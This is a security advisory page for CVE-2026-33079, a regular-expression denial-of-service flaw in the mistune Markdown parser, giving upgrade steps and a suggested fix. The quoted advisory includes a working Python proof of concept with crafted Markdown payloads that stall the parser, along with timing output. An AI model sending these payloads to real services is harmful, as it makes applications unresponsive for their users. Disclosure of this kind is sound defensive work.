CVE-2026-33079: Mistune Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-8mp2-v27r-99xp
CWE-1333
Published
Advisory Summary

CVE-2026-33079 is a HIGH denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Mistune libraries in the PyPI ecosystem. The issue involves mistune has a redos in link_title_re that allows denial of service via crafted markdown input. Remediation is available by upgrading affected packages to version 3.2.1.

CVE-2026-33079 at a Glance

CVE Identifier CVE-2026-33079
GHSA Identifier GHSA-8mp2-v27r-99xp
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Mistune
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-33079

To remediate this vulnerability, upgrade all affected Mistune dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mistune fixed: 3.2.1
pip install mistune>=3.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mistune

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33079, inspect your installed packages using pip:

pip show mistune

Analyze the terminal output to locate any version of Mistune in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.2.1), your application is affected.

Note: The pip show mistune command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Mistune, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair. ### Details The vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25): ```python LINK_TITLE_RE = re.compile( r"[ \t\n]+(" r'"(?:\\' + PUNCTUATION + r'|[^"\x00])*"|' # "title" r"'(?:\\" + PUNCTUATION + r"|[^'\x00])*'" # 'title' r")" ) ``` The double-quote branch compiles to `"(?:\\[PUNCTUATION]|[^"\x00])*"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\!`, or as two individual `[^"\x00]` characters (`\` then `!`). The same ambiguity exists in the single-quoted title branch. When the input contains repeated `\!` pairs with no closing `"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**. This is reachable through normal Markdown parsing via two code paths: 1. **Inline links**: `[text](url "PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) 2. **Block link reference definitions**: `[label]: url "PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259) ### PoC ```python import mistune import time md = mistune.create_markdown() # Test with increasing N (number of \! pairs) for n in [15, 18, 20, 22, 25]: payload = '[x](y "' + '\\!' * n + ')' start = time.time() md(payload) elapsed = time.time() - start print(f"N={n:2d} len={len(payload):3d} bytes time={elapsed:.3f}s") ``` Output (Apple M2, Python 3.14.3, mistune 3.2.0): ``` N=15 len= 38 bytes time=0.007s N=18 len= 44 bytes time=0.044s N=20 len= 48 bytes time=0.178s N=22 len= 52 bytes time=0.740s N=25 len= 58 bytes time=5.922s ``` Each increment of N roughly doubles the execution time (consistent with O(2^N)). The same attack works via block link reference definitions: ```python payload = '[l]: u "' + '\\!' * 25 # 58 bytes, ~6 seconds md(payload) ``` ### Impact This is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes). Affected use cases include: - Web applications with Markdown-enabled input fields (comments, posts, descriptions) - Documentation systems that accept user contributions - API endpoints that process Markdown - Jupyter tooling such as nbconvert that relies on mistune for rendering ### Suggested Fix Exclude the backslash character from the catch-all character class to eliminate the alternation overlap: ```python # Before (vulnerable): r'"(?:\\' + PUNCTUATION + r'|[^"\x00])*"' r"'(?:\\" + PUNCTUATION + r"|[^'\x00])*'" # After (fixed): r'"(?:\\' + PUNCTUATION + r'|[^"\\\x00])*"' r"'(?:\\" + PUNCTUATION + r"|[^'\\\x00])*'" ``` This ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3): - Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement) - Handles N=50 in 0.000008 seconds - Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)

CVE-2026-33079 Affected Mistune Versions

1 component(s)
Fixed Versions:
3.2.1
Product / Package Ecosystem Affected Versions Fixed Version
mistune
PyPI
≥ 3.0.0a1
< 3.2.1
3.2.1

References

Frequently Asked Questions

What is CVE-2026-33079?
CVE-2026-33079 is a security vulnerability in Mistune involving Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input under CWE-1333: Inefficient Regular Expression Complexity.
Which Mistune versions are affected?
Affected versions include releases prior to 3.2.1 across affected packages: mistune.
What version fixes CVE-2026-33079?
Upgrading to 3.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mistune affected?
Yes, mistune is affected in releases prior to 3.2.1. Upgrade your dependency to 3.2.1 or later.
What CWE is associated with CVE-2026-33079?
CVE-2026-33079 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check PyPI dependencies for CVE-2026-33079?
Run the dependency tree command: 'pip show mistune'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8mp2-v27r-99xp",
  "modified" : "2026-05-06T19:35:51Z",
  "published" : "2026-05-06T16:52:43Z",
  "aliases" : [ "CVE-2026-33079" ],
  "summary" : "Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input",
  "details" : "### Summary\n\nA ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.\n\n### Details\n\nThe vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25):\n\n```python\nLINK_TITLE_RE = re.compile(\n    r\"[ \\t\\n]+(\"\n    r'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"|'  # \"title\"\n    r\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"   # 'title'\n    r\")\"\n)\n```\n\nThe double-quote branch compiles to `\"(?:\\\\[PUNCTUATION]|[^\"\\x00])*\"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\\\!`, or as two individual `[^\"\\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.\n\nWhen the input contains repeated `\\!` pairs with no closing `\"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.\n\nThis is reachable through normal Markdown parsing via two code paths:\n1. **Inline links**: `[text](url \"PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169)\n2. **Block link reference definitions**: `[label]: url \"PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259)\n\n### PoC\n\n```python\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\n# Test with increasing N (number of \\! pairs)\nfor n in [15, 18, 20, 22, 25]:\n    payload = '[x](y \"' + '\\\\!' * n + ')'\n    start = time.time()\n    md(payload)\n    elapsed = time.time() - start\n    print(f\"N={n:2d}  len={len(payload):3d} bytes  time={elapsed:.3f}s\")\n```\n\nOutput (Apple M2, Python 3.14.3, mistune 3.2.0):\n\n```\nN=15  len= 38 bytes  time=0.007s\nN=18  len= 44 bytes  time=0.044s\nN=20  len= 48 bytes  time=0.178s\nN=22  len= 52 bytes  time=0.740s\nN=25  len= 58 bytes  time=5.922s\n```\n\nEach increment of N roughly doubles the execution time (consistent with O(2^N)).\n\nThe same attack works via block link reference definitions:\n\n```python\npayload = '[l]: u \"' + '\\\\!' * 25  # 58 bytes, ~6 seconds\nmd(payload)\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).\n\nAffected use cases include:\n- Web applications with Markdown-enabled input fields (comments, posts, descriptions)\n- Documentation systems that accept user contributions\n- API endpoints that process Markdown\n- Jupyter tooling such as nbconvert that relies on mistune for rendering\n\n### Suggested Fix\n\nExclude the backslash character from the catch-all character class to eliminate the alternation overlap:\n\n```python\n# Before (vulnerable):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"\n\n# After (fixed):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\\\\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\\\\\x00])*'\"\n```\n\nThis ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):\n- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)\n- Handles N=50 in 0.000008 seconds\n- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mistune"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0a1"
      }, {
        "fixed" : "3.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lepture/mistune/security/advisories/GHSA-8mp2-v27r-99xp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33079"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lepture/mistune"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T16:52:43Z",
    "nvd_published_at" : "2026-05-06T18:16:03Z"
  }
}